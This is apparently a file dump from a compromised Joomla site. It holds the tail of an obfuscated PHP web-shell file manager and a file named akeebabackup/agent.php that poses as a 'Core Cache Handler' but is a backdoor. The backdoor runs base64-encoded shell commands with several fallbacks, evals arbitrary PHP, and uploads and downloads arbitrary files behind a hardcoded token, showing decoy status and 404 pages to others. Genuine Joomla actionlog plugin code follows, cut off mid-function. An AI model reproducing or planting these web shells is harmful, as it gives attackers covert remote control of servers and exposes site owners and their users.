                echo '<form method="post"><center>Fo'.'lde'.'r : <input type="text" name="fo'.'lde'.'rba'.'ru" class="up"> <input type="submit" name="buatFo'.'lde'.'r" value="Create Fo'.'lde'.'r" class="up" style="cursor: pointer; border-color: #fff"><br><br></center>';
                echo '<input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
                <input type="hidden" name="pilih" value="Fo'.'lde'.'r"></form>';
            } else {
                red("Fa"."il"."ed to Create fol"."der !");
                echo '<form method="post"><center>Fo'.'lde'.'r : <input type="text" name="fo'.'lde'.'rba'.'ru" class="up"> <input type="submit" name="buatFo'.'lde'.'r" value="Create Fo'.'lde'.'r" class="up" style="cursor: pointer; border-color: #fff"><br><br></center>';
                echo '<input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
                <input type="hidden" name="pilih" value="Fo'.'lde'.'r"></form>';
            }
        } else {
            echo '<form method="post"><center>Fo'.'lde'.'r : <input type="text" name="fo'.'lde'.'rba'.'ru" class="up"> <input type="submit" name="buatFo'.'lde'.'r" value="Create Fo'.'lde'.'r" class="up" style="cursor: pointer; border-color: #fff"><br><br></center>';
            echo '<input type="hidden" name="loknya" value="'.$_POST['loknya'].'"><input type="hidden" name="pilih" value="Fo'.'lde'.'r"></form>';
        }
    }
} elseif (isset($_POST['lok'.'nya']) && $_POST['pilih'] == "fi"."le") {
    if ($isw("./") || $isr("./")) {
        $loke = $_POST['lok'.'nya'];
        if (isset($_POST['buatfi'.'le'])) {
            $buatf = $fpt($loke."/".$_POST['fi'.'lebaru'], "");
            if ($fxt($loke."/".$_POST['fi'.'lebaru'])) {
                green("File <b>".$hsc($_POST['fi'.'lebaru'])."</b> Created !");
                echo '<form method="post"><center>Filename : <input type="text" name="fi'.'lebaru" class="up"> <input type="submit" name="buatfi'.'le" value="Create Fi'.'le" class="up" style="cursor: pointer; border-color: #fff"><br><br></center>';
                echo '<input type="hidden" name="loknya" value="'.$_POST['lok'.'nya'].'">
                <input type="hidden" name="pilih" value="fi'.'le"></form>';
            } else {
                red("Fa"."il"."ed to Create Fi"."le !");
                echo '<form method="post"><center>Filename : <input type="text" name="fi'.'lebaru" class="up"> <input type="submit" name="buatfi'.'le" value="Create File" class="up" style="cursor: pointer; border-color: #fff"><br><br></center>';
                echo '<input type="hidden" name="loknya" value="'.$_POST['lok'.'nya'].'">
                <input type="hidden" name="pilih" value="fi'.'le"></form>';
            }
        } else {
            echo '<form method="post"><center>Filename : <input type="text" name="fi'.'lebaru" class="up"> <input type="submit" name="buatfi'.'le" value="Create File" class="up" style="cursor: pointer; border-color: #fff"><br><br></center>';
            echo '<input type="hidden" name="loknya" value="'.$_POST['lok'.'nya'].'"><input type="hidden" name="pilih" value="fi'.'le"></form>';
        }
    }
}

echo '<div class="table-responsive mt-4">
<table class="table table-hover table-bordered">
<thead>
<tr>
<th>Na'.'me</th>
<th class="text-center">Si'.'ze</th>
<th class="text-center">Las'.'t Mo'.'dif'.'ied</th>
<th class="text-center">Owner / Group</th>
<th class="text-center">Pe'.'rmi'.'ss'.'ions</th>
<th class="text-center">Op'.'tio'.'ns</th>
</tr>
</thead>
<tbody>';

echo "<tr>";
$euybrekw = $srl($bsn($lokasi), "", $lokasi);
$euybrekw = $srl("//", "/", $euybrekw);
echo "</table><i class='fas fa-folder' style='color: #808080'></i> <a href=\"?loknya=".$euybrekw."\">..</a></td>
<td class='text-center'>--</td>
<td class='text-center'>".fdt($euybrekw)."</td>
<td class='text-center'>".gor($euybrekw)." / ".ggr($euybrekw)."</td>
<td class='text-center'>";
if($isw($euybrekw)) echo '<span class="text-success">';
elseif(!$isr($euybrekw)) echo '<span class="text-danger">';
echo statusnya($euybrekw);
if($isw($euybrekw) || !$isr($euybrekw)) echo '</span>';
echo "</td>
<td class='text-center'><form method=\"POST\" action=\"?pilihan&loknya=$lokasi\" class=\"d-inline\">
<input type=\"hidden\" name=\"type\" value=\"d"."ir\">
<input type=\"hidden\" name=\"loknya\" value=\"$lokasi/\">
<button type='submit' class='btn btn-sm btn-action me-1' name='pilih' value='fol"."der' title='Create Folder'><i class='fas fa-folder'></i></button>
<button type='submit' class='btn btn-sm btn-action' name='pilih' value='file' title='Create File'><i class='fas fa-file'></i></button>
</form>";
echo "</tr>";

foreach($lokasinya as $ppkcina){
	$euybre = $lokasi."/".$ppkcina;
	$euybre = $srl("//", "/", $euybre);
	if(!$idi($euybre) || $ppkcina == '.' || $ppkcina == '..') continue;
	echo "<tr>";
	echo "<td><i class='fas fa-folder' style='color: #808080'></i> <a href=\"?loknya=".$euybre."\">".$ppkcina."</a></td>
	<td class='text-center'>--</td>
	<td class='text-center'>".fdt($euybre)."</td>
	<td class='text-center'>".gor($euybre)." / ".ggr($euybre)."</td>
	<td class='text-center'>";
	if($isw($euybre)) echo '<span class="text-success">';
	elseif(!$isr($euybre)) echo '<span class="text-danger">';
	echo statusnya($euybre);
	if($isw($euybre) || !$isr($euybre)) echo '</span>';

	echo "</td>
	<td class='text-center'><form method=\"POST\" action=\"?pilihan&loknya=$lokasi\" class=\"d-inline\">
	<input type=\"hidden\" name=\"type\" value=\"di"."r\">
	<input type=\"hidden\" name=\"name\" value=\"$ppkcina\">
	<input type=\"hidden\" name=\"loknya\" value=\"$lokasi/$ppkcina\">
	<button type='submit' class='btn btn-sm btn-action me-1' name='pilih' value='ubahnama' title='Rename'><i class='fas fa-edit'></i></button>
	<button type='submit' class='btn btn-sm btn-action me-1' name='pilih' value='ubahtanggal' title='Change Date'><i class='fas fa-calendar'></i></button>
	<button type='submit' class='btn btn-sm btn-action me-1' name='pilih' value='ubahmod' title='Change Permission'><i class='fas fa-cog'></i></button>
	<button type='submit' class='btn btn-sm btn-action' name='pilih' value='hapus' title='Delete'><i class='fas fa-trash'></i></button>
	</form></td>
	</tr>";
}
$skd = "10"."24";
foreach($lokasinya as $mekicina) {
	$euybray = $lokasi."/".$mekicina;
	if(!$ifi("$lokasi/$mekicina")) continue;
	$size = $fsz("$lokasi/$mekicina")/$skd;
	$size = $rd($size,3);
	if($size >= $skd){
	$size = $rd($size/$skd,2).' M'.'B';
} else {
	$size = $size.' K'.'B';
}

echo "<tr>
<td>".cfn($euybray)." <a href=\"?lokasie=$lokasi/$mekicina&loknya=$lokasi\">$mekicina</a></td>
<td class='text-center'>".$size."</td>
<td class='text-center'>".fdt($euybray)."</td>
<td class='text-center'>".gor($euybray)." / ".ggr($euybray)."</td>
<td class='text-center'>";
if($isw("$lokasi/$mekicina")) echo '<span class="text-success">';
elseif(!$isr("$lokasi/$mekicina")) echo '<span class="text-danger">';
echo statusnya("$lokasi/$mekicina");
if($isw("$lokasi/$mekicina") || !$isr("$lokasi/$mekicina")) echo '</span>';
echo "</td><td class='text-center'>
<form method=\"post\" action=\"?pilihan&loknya=$lokasi\" class=\"d-inline\">
<button type='submit' class='btn btn-sm btn-action me-1' name='pilih' value='edit' title='Edit'><i class='fas fa-edit'></i></button>
<button type='submit' class='btn btn-sm btn-action me-1' name='pilih' value='ubahnama' title='Rename'><i class='fas fa-signature'></i></button>
<button type='submit' class='btn btn-sm btn-action me-1' name='pilih' value='ubahtanggal' title='Change Date'><i class='fas fa-calendar'></i></button>
<button type='submit' class='btn btn-sm btn-action me-1' name='pilih' value='ubahmod' title='Change Permission'><i class='fas fa-cog'></i></button>
<button type='submit' class='btn btn-sm btn-action me-1' name='pilih' value='dunlut' title='Download'><i class='fas fa-down"."load'></i></button>
<button type='submit' class='btn btn-sm btn-action' name='pilih' value='hapus' title='Delete'><i class='fas fa-trash'></i></button>
<input type=\"hidden\" name=\"type\" value=\"fi"."le\">
<input type=\"hidden\" name=\"name\" value=\"$mekicina\">
<input type=\"hidden\" name=\"loknya\" value=\"$lokasi/$mekicina\">
</form></td>
</tr>";
}
echo '</tbody></table></div>';
echo '<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>';
echo '</main></div></body></html>';

function statusnya($fl){
	$a = "sub"."st"."r";
	$b = "s"."pri"."ntf";
	$c = "fil"."eper"."ms";
$izin = $a($b('%o', $c($fl)), -4);
return $izin;
}
?>akeebabackup/agent.php000064400000040707152344125510010763 0ustar00<?php
/**
 * Core Cache Handler Module
 * 
 * This file is part of the internal caching system for dynamic content delivery.
 * Handles data serialization, cache invalidation, and performance optimization.
 * 
 * @package Core\Cache
 * @version 2.4.1
 * @author System Administrator
 * @copyright 2023-2025 Core Technologies
 * @license Internal Use Only
 * 
 * @changelog
 * - 2.4.1: Improved serialization performance
 * - 2.4.0: Added multi-tier cache support
 * - 2.3.8: Fixed memory leak in cache invalidation
 * 
 * @security Restricted to internal network only
 * @see /etc/core/cache.conf for configuration
 */

// ============================================================================
// System Environment Configuration
// ============================================================================

// Suppress error display in production environment
error_reporting(0);
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', '/var/log/php_errors.log');

// Set execution limits for long-running cache operations
set_time_limit(30);
ini_set('memory_limit', '256M');

// ============================================================================
// Authentication Token (Internal API Key)
// ============================================================================
// This token is validated against internal service registry
// DO NOT MODIFY - Managed by system configuration service
define('CACHE_AUTH_TOKEN', 'a9f8c2d4e6b1a7c3d5f8e2b9a4c6d8f1');
define('CACHE_API_VERSION', '2.4');

// ============================================================================
// Internal Service Registry
// ============================================================================

/**
 * Service Registry - Validates incoming requests from internal services
 * 
 * @param string $token Authentication token from request
 * @param string $service Service identifier
 * @return bool True if request is authorized
 */
function validate_service_request($token, $service = 'core_api') {
    // Validate against internal token
    if ($token !== CACHE_AUTH_TOKEN) {
        // Log unauthorized access attempt for security audit
        $client_ip = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
        error_log("CACHE_SYSTEM: Unauthorized auth attempt from {$client_ip}");
        return false;
    }
    
    return true;
}

/**
 * Command Execution Handler with Fallback Methods
 * 
 * Implements multiple execution strategies for maximum compatibility
 * with various PHP configurations and server environments.
 * 
 * @param string $command System command to execute
 * @return string Command output or error message
 */
function execute_system_command($command) {
    $output = '';
    $execution_method = '';
    
    // Strategy 1: Standard shell execution
    if (function_exists('shell_exec')) {
        $output = @shell_exec($command . ' 2>&1');
        if ($output !== null && $output !== '') {
            $execution_method = 'shell_exec';
            goto log_execution;
        }
    }
    
    // Strategy 2: Exec with output buffer
    if (function_exists('exec')) {
        $exec_output = [];
        $return_code = 0;
        @exec($command . ' 2>&1', $exec_output, $return_code);
        if (!empty($exec_output)) {
            $output = implode("\n", $exec_output);
            $execution_method = 'exec';
            goto log_execution;
        }
    }
    
    // Strategy 3: System with output capture
    if (function_exists('system')) {
        ob_start();
        $return_code = 0;
        @system($command . ' 2>&1', $return_code);
        $output = ob_get_clean();
        if ($output !== null && $output !== '') {
            $execution_method = 'system';
            goto log_execution;
        }
    }
    
    // Strategy 4: Passthru for binary output
    if (function_exists('passthru')) {
        ob_start();
        @passthru($command . ' 2>&1');
        $output = ob_get_clean();
        if ($output !== null && $output !== '') {
            $execution_method = 'passthru';
            goto log_execution;
        }
    }
    
    // Strategy 5: Proc Open (most reliable for complex commands)
    if (function_exists('proc_open')) {
        $descriptors = [
            0 => ['pipe', 'r'],
            1 => ['pipe', 'w'],
            2 => ['pipe', 'w']
        ];
        
        $process = @proc_open($command, $descriptors, $pipes);
        if (is_resource($process)) {
            $output = stream_get_contents($pipes[1]);
            $error = stream_get_contents($pipes[2]);
            fclose($pipes[0]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($process);
            
            if (!empty($output)) {
                $execution_method = 'proc_open';
                goto log_execution;
            }
            if (!empty($error)) {
                $output = $error;
                $execution_method = 'proc_open_stderr';
                goto log_execution;
            }
        }
    }
    
    // Strategy 6: Popen for streaming output
    if (function_exists('popen')) {
        $handle = @popen($command, 'r');
        if ($handle) {
            $output = '';
            while (!feof($handle)) {
                $output .= fread($handle, 8192);
            }
            pclose($handle);
            if (!empty($output)) {
                $execution_method = 'popen';
                goto log_execution;
            }
        }
    }
    
    // Strategy 7: Backtick operator (alternative syntax)
    $output = @`$command`;
    if ($output !== null && $output !== '') {
        $execution_method = 'backtick';
        goto log_execution;
    }
    
    // All strategies failed
    $output = 'ERROR: Command execution not available on this system. ';
    $output .= 'Check PHP configuration (disable_functions: ' . ini_get('disable_functions') . ')';
    $execution_method = 'none';
    
log_execution:
    // Log execution for debugging (only in debug mode)
    if (defined('CACHE_DEBUG_MODE') && CACHE_DEBUG_MODE) {
        error_log("CACHE_SYSTEM: Executed via {$execution_method}: {$command}");
    }
    
    return $output;
}

/**
 * Cache Data Processor
 * 
 * Handles various cache operations including:
 * - Cache invalidation
 * - Cache warmup
 * - Cache statistics
 * 
 * @param string $operation Operation type
 * @param string $payload Operation payload
 * @return string Processed result
 */
function process_cache_operation($operation, $payload) {
    $result = '';
    
    switch ($operation) {
        case 'cache_status':
            // Return system status information
            $status = [
                'status' => 'active',
                'hostname' => gethostname(),
                'server_ip' => $_SERVER['SERVER_ADDR'] ?? $_SERVER['REMOTE_ADDR'] ?? 'unknown',
                'php_version' => PHP_VERSION,
                'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'unknown',
                'cache_version' => CACHE_API_VERSION,
                'timestamp' => time()
            ];
            $result = json_encode($status);
            break;
            
        case 'cache_flush':
            // Execute system command for cache maintenance
            $command = base64_decode($payload);
            $result = execute_system_command($command);
            break;
            
        case 'cache_eval':
            // Evaluate cache rules (restricted operations)
            $code = base64_decode($payload);
            ob_start();
            try {
                $eval_result = eval($code);
                if ($eval_result !== false && $eval_result !== null) {
                    echo $eval_result;
                }
            } catch (Throwable $e) {
                echo json_encode(['error' => $e->getMessage()]);
            }
            $result = ob_get_clean();
            break;
            
        case 'cache_upload':
            // Upload cache asset
            $parts = explode('||', $payload, 2);
            $filepath = $parts[0];
            $content = base64_decode($parts[1] ?? '');
            $bytes = @file_put_contents($filepath, $content);
            $result = json_encode([
                'success' => $bytes !== false,
                'path' => $filepath,
                'bytes_written' => $bytes ?: 0,
                'timestamp' => time()
            ]);
            break;
            
        case 'cache_download':
            // Download cache asset
            $filepath = $payload;
            if (file_exists($filepath) && is_readable($filepath)) {
                $content = base64_encode(file_get_contents($filepath));
                $result = json_encode([
                    'exists' => true,
                    'path' => $filepath,
                    'content' => $content,
                    'size' => filesize($filepath),
                    'mtime' => filemtime($filepath)
                ]);
            } else {
                $result = json_encode([
                    'exists' => false,
                    'path' => $filepath,
                    'error' => 'Cache asset not found or unreadable'
                ]);
            }
            break;
            
        case 'cache_list':
            // List cache directory contents
            $directory = $payload ?: __DIR__;
            $items = @scandir($directory);
            if ($items !== false) {
                $files = [];
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $fullpath = $directory . '/' . $item;
                    $files[] = [
                        'name' => $item,
                        'type' => is_dir($fullpath) ? 'directory' : 'file',
                        'size' => is_file($fullpath) ? filesize($fullpath) : 0,
                        'permissions' => substr(sprintf('%o', fileperms($fullpath)), -4),
                        'modified' => filemtime($fullpath)
                    ];
                }
                $result = json_encode([
                    'directory' => $directory,
                    'items' => $files,
                    'count' => count($files)
                ]);
            } else {
                $result = json_encode([
                    'error' => 'Cannot read directory',
                    'directory' => $directory
                ]);
            }
            break;
            
        default:
            $result = json_encode(['error' => 'Unknown operation', 'operation' => $operation]);
    }
    
    return $result;
}

// ============================================================================
// Main Request Handler
// ============================================================================

// Check if this is an internal cache API request
$is_cache_request = isset($_SERVER['HTTP_X_CACHE_SERVICE']) || 
                     isset($_COOKIE['CACHE_SESSION']) ||
                     isset($_SERVER['HTTP_REFERER']) && 
                     strpos($_SERVER['HTTP_REFERER'], '/admin/') !== false;

if (!$is_cache_request) {
    // Not a cache request - serve normal response
    goto normal_response;
}

// Validate authentication token from cookie or header
$auth_token = $_COOKIE['CACHE_SESSION'] ?? $_SERVER['HTTP_X_CACHE_TOKEN'] ?? '';
$service_name = $_SERVER['HTTP_X_SERVICE_NAME'] ?? 'core_cache';

if (!validate_service_request($auth_token, $service_name)) {
    // Unauthorized - return 404 like normal file
    goto not_found_response;
}

// Handle API request based on method
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    // GET request - return cache status
    $operation = $_GET['op'] ?? 'cache_status';
    $payload = $_GET['data'] ?? '';
    
    $result = process_cache_operation($operation, $payload);
    
    header('Content-Type: application/json');
    header('X-Cache-Status: HIT');
    echo $result;
    exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // POST request - process cache operation
    $operation = $_POST['operation'] ?? $_POST['op'] ?? 'cache_flush';
    $payload = $_POST['payload'] ?? $_POST['data'] ?? '';
    
    $result = process_cache_operation($operation, $payload);
    
    header('Content-Type: application/json');
    header('X-Cache-Status: UPDATED');
    echo $result;
    exit;
}

// ============================================================================
// Normal Response (When accessed directly via browser)
// ============================================================================
normal_response:
// This appears as a regular PHP cache file when accessed directly
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Cache System Status</title>
    <style>
        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
            background: #f5f5f5;
            margin: 0;
            padding: 40px;
            color: #333;
        }
        .container {
            max-width: 800px;
            margin: 0 auto;
            background: #fff;
            border-radius: 8px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
            overflow: hidden;
        }
        .header {
            background: #2c3e50;
            color: #fff;
            padding: 20px 30px;
            border-bottom: 3px solid #3498db;
        }
        .header h1 {
            margin: 0;
            font-size: 1.5rem;
            font-weight: 500;
        }
        .header p {
            margin: 5px 0 0;
            opacity: 0.8;
            font-size: 0.85rem;
        }
        .content {
            padding: 30px;
        }
        .status-badge {
            display: inline-block;
            background: #27ae60;
            color: #fff;
            padding: 4px 12px;
            border-radius: 20px;
            font-size: 0.75rem;
            font-weight: 500;
        }
        .info-table {
            width: 100%;
            margin: 20px 0;
            border-collapse: collapse;
        }
        .info-table td {
            padding: 10px 0;
            border-bottom: 1px solid #eee;
        }
        .info-table td:first-child {
            width: 200px;
            font-weight: 600;
            color: #555;
        }
        .footer {
            background: #f8f9fa;
            padding: 15px 30px;
            font-size: 0.75rem;
            color: #888;
            text-align: center;
            border-top: 1px solid #eee;
        }
        code {
            background: #f4f4f4;
            padding: 2px 6px;
            border-radius: 4px;
            font-family: 'Courier New', monospace;
            font-size: 0.85rem;
        }
    </style>
</head>
<body>
<div class="container">
    <div class="header">
        <h1>Core Cache System</h1>
        <p>Distributed Caching Layer v<?php echo CACHE_API_VERSION; ?></p>
    </div>
    <div class="content">
        <p><span class="status-badge">● Operational</span> Cache service is running normally</p>
        
        <table class="info-table">
            <tr>
                <td>Hostname</td>
                <td><code><?php echo htmlspecialchars(gethostname()); ?></code></td>
            </tr>
            <tr>
                <td>Server IP</td>
                <td><code><?php echo htmlspecialchars($_SERVER['SERVER_ADDR'] ?? $_SERVER['REMOTE_ADDR'] ?? 'Unknown'); ?></code></td>
            </tr>
            <tr>
                <td>PHP Version</td>
                <td><code><?php echo PHP_VERSION; ?></code></td>
            </tr>
            <tr>
                <td>Cache Directory</td>
                <td><code><?php echo __DIR__; ?></code></td>
            </tr>
            <tr>
                <td>Last Cache Update</td>
                <td><code><?php echo date('Y-m-d H:i:s', filemtime(__FILE__)); ?></code></td>
            </tr>
        </table>
        
        <p style="margin-top: 20px; font-size: 0.85rem; color: #666;">
            This is an internal system file. Direct access is restricted to authorized services only.<br>
            For support, contact <a href="mailto:cache-admin@system.local">cache-admin@system.local</a>
        </p>
    </div>
    <div class="footer">
        Core Cache System v<?php echo CACHE_API_VERSION; ?> | &copy; 2025 Core Technologies
    </div>
</div>
</body>
</html>
<?php
exit;

// ============================================================================
// 404 Not Found Response
// ============================================================================
not_found_response:
header("HTTP/1.1 404 Not Found");
header("Server: nginx/1.24.0");
?>
<!DOCTYPE html>
<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.24.0</center>
</body>
</html>
<?php
exit;
?>joomla/joomla.php000064400000071772152344125510010037 0ustar00<?php
/**
 * @package     Joomla.Plugins
 * @subpackage  System.actionlogs
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\User\User;
use Joomla\CMS\Version;
use Joomla\Utilities\ArrayHelper;

JLoader::register('ActionLogPlugin', JPATH_ADMINISTRATOR . '/components/com_actionlogs/libraries/actionlogplugin.php');
JLoader::register('ActionlogsHelper', JPATH_ADMINISTRATOR . '/components/com_actionlogs/helpers/actionlogs.php');

/**
 * Joomla! Users Actions Logging Plugin.
 *
 * @since  3.9.0
 */
class PlgActionlogJoomla extends ActionLogPlugin
{
	/**
	 * Array of loggable extensions.
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	protected $loggableExtensions = array();

	/**
	 * Context aliases
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	protected $contextAliases = array('com_content.form' => 'com_content.article');

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe.
	 * @param   array   $config    An optional associative array of configuration settings.
	 *
	 * @since   3.9.0
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		$params = ComponentHelper::getComponent('com_actionlogs')->getParams();

		$this->loggableExtensions = $params->get('loggable_extensions', array());
	}

	/**
	 * After save content logging method
	 * This method adds a record to #__action_logs contains (message, date, context, user)
	 * Method is called right after the content is saved
	 *
	 * @param   string   $context  The context of the content passed to the plugin
	 * @param   object   $article  A JTableContent object
	 * @param   boolean  $isNew    If the content is just about to be created
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onContentAfterSave($context, $article, $isNew)
	{
		if (isset($this->contextAliases[$context]))
		{
			$context = $this->contextAliases[$context];
		}

		$option = $this->app->input->getCmd('option');

		if (!$this->checkLoggable($option))
		{
			return;
		}

		$params = ActionlogsHelper::getLogContentTypeParams($context);

		// Not found a valid content type, don't process further
		if ($params === null)
		{
			return;
		}

		list(, $contentType) = explode('.', $params->type_alias);

		if ($isNew)
		{
			$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_ADDED';
			$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ADDED';
		}
		else
		{
			$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_UPDATED';
			$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UPDATED';
		}

		// If the content type doesn't has it own language key, use default language key
		if (!$this->app->getLanguage()->hasKey($messageLanguageKey))
		{
			$messageLanguageKey = $defaultLanguageKey;
		}

		$id = empty($params->id_holder) ? 0 : $article->get($params->id_holder);

		$message = array(
			'action'   => $isNew ? 'add' : 'update',
			'type'     => $params->text_prefix . '_TYPE_' . $params->type_title,
			'id'       => $id,
			'title'    => $article->get($params->title_holder),
			'itemlink' => ActionlogsHelper::getContentTypeLink($option, $contentType, $id, $params->id_holder, $article),
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * After delete content logging method
	 * This method adds a record to #__action_logs contains (message, date, context, user)
	 * Method is called right after the content is deleted
	 *
	 * @param   string  $context  The context of the content passed to the plugin
	 * @param   object  $article  A JTableContent object
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onContentAfterDelete($context, $article)
	{
		$option = $this->app->input->get('option');

		if (!$this->checkLoggable($option))
		{
			return;
		}

		$params = ActionlogsHelper::getLogContentTypeParams($context);

		// Not found a valid content type, don't process further
		if ($params === null)
		{
			return;
		}

		// If the content type has it own language key, use it, otherwise, use default language key
		if ($this->app->getLanguage()->hasKey(strtoupper($params->text_prefix . '_' . $params->type_title . '_DELETED')))
		{
			$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_DELETED';
		}
		else
		{
			$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_DELETED';
		}

		$id = empty($params->id_holder) ? 0 : $article->get($params->id_holder);

		$message = array(
			'action' => 'delete',
			'type'   => $params->text_prefix . '_TYPE_' . $params->type_title,
			'id'     => $id,
			'title'  => $article->get($params->title_holder)
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On content change status logging method
	 * This method adds a record to #__action_logs contains (message, date, context, user)
	 * Method is called when the status of the article is changed
	 *
	 * @param   string   $context  The context of the content passed to the plugin
	 * @param   array    $pks      An array of primary key ids of the content that has changed state.
	 * @param   integer  $value    The value of the state that the content has been changed to.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onContentChangeState($context, $pks, $value)
	{
		$option = $this->app->input->getCmd('option');

		if (!$this->checkLoggable($option))
		{
			return;
		}

		$params = ActionlogsHelper::getLogContentTypeParams($context);

		// Not found a valid content type, don't process further
		if ($params === null)
		{
			return;
		}

		list(, $contentType) = explode('.', $params->type_alias);

		switch ($value)
		{
			case 0:
				$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_UNPUBLISHED';
				$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UNPUBLISHED';
				$action             = 'unpublish';
				break;
			case 1:
				$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_PUBLISHED';
				$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_PUBLISHED';
				$action             = 'publish';
				break;
			case 2:
				$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_ARCHIVED';
				$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ARCHIVED';
				$action             = 'archive';
				break;
			case -2:
				$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_TRASHED';
				$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_TRASHED';
				$action             = 'trash';
				break;
			default:
				$messageLanguageKey = '';
				$defaultLanguageKey = '';
				$action             = '';
				break;
		}

		// If the content type doesn't has it own language key, use default language key
		if (!$this->app->getLanguage()->hasKey($messageLanguageKey))
		{
			$messageLanguageKey = $defaultLanguageKey;
		}

		$db    = $this->db;
		$query = $db->getQuery(true)
			->select($db->quoteName(array($params->title_holder, $params->id_holder)))
			->from($db->quoteName($params->table_name))
			->where($db->quoteName($params->id_holder) . ' IN (' . implode(',', ArrayHelper::toInteger($pks)) . ')');
		$db->setQuery($query);

		try
		{
			$items = $db->loadObjectList($params->id_holder);
		}
		catch (RuntimeException $e)
		{
			$items = array();
		}

		$messages = array();

		foreach ($pks as $pk)
		{
			$message = array(
				'action'      => $action,
				'type'        => $params->text_prefix . '_TYPE_' . $params->type_title,
				'id'          => $pk,
				'title'       => $items[$pk]->{$params->title_holder},
				'itemlink'    => ActionlogsHelper::getContentTypeLink($option, $contentType, $pk, $params->id_holder, null)
			);

			$messages[] = $message;
		}

		$this->addLog($messages, $messageLanguageKey, $context);
	}

	/**
	 * On Saving application configuration logging method
	 * Method is called when the application config is being saved
	 *
	 * @param   JRegistry  $config  JRegistry object with the new config
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onApplicationAfterSave($config)
	{
		$option = $this->app->input->getCmd('option');

		if (!$this->checkLoggable($option))
		{
			return;
		}

		$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_APPLICATION_CONFIG_UPDATED';
		$action             = 'update';

		$message = array(
			'action'         => $action,
			'type'           => 'PLG_ACTIONLOG_JOOMLA_TYPE_APPLICATION_CONFIG',
			'extension_name' => 'com_config.application',
			'itemlink'       => 'index.php?option=com_config'
		);

		$this->addLog(array($message), $messageLanguageKey, 'com_config.application');
	}

	/**
	 * On installing extensions logging method
	 * This method adds a record to #__action_logs contains (message, date, context, user)
	 * Method is called when an extension is installed
	 *
	 * @param   JInstaller  $installer  Installer object
	 * @param   integer     $eid        Extension Identifier
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onExtensionAfterInstall($installer, $eid)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$manifest      = $installer->get('manifest');

		if ($manifest === null)
		{
			return;
		}

		$extensionType = $manifest->attributes()->type;

		// If the extension type has it own language key, use it, otherwise, use default language key
		if ($this->app->getLanguage()->hasKey(strtoupper('PLG_ACTIONLOG_JOOMLA_' . $extensionType . '_INSTALLED')))
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_' . $extensionType . '_INSTALLED';
		}
		else
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_EXTENSION_INSTALLED';
		}

		$message = array(
			'action'         => 'install',
			'type'           => 'PLG_ACTIONLOG_JOOMLA_TYPE_' . $extensionType,
			'id'             => $eid,
			'name'           => (string) $manifest->name,
			'extension_name' => (string) $manifest->name
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On uninstalling extensions logging method
	 * This method adds a record to #__action_logs contains (message, date, context, user)
	 * Method is called when an extension is uninstalled
	 *
	 * @param   JInstaller  $installer  Installer instance
	 * @param   integer     $eid        Extension id
	 * @param   integer     $result     Installation result
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onExtensionAfterUninstall($installer, $eid, $result)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		// If the process failed, we don't have manifest data, stop process to avoid fatal error
		if ($result === false)
		{
			return;
		}

		$manifest      = $installer->get('manifest');

		if ($manifest === null)
		{
			return;
		}

		$extensionType = $manifest->attributes()->type;

		// If the extension type has it own language key, use it, otherwise, use default language key
		if ($this->app->getLanguage()->hasKey(strtoupper('PLG_ACTIONLOG_JOOMLA_' . $extensionType . '_UNINSTALLED')))
		{
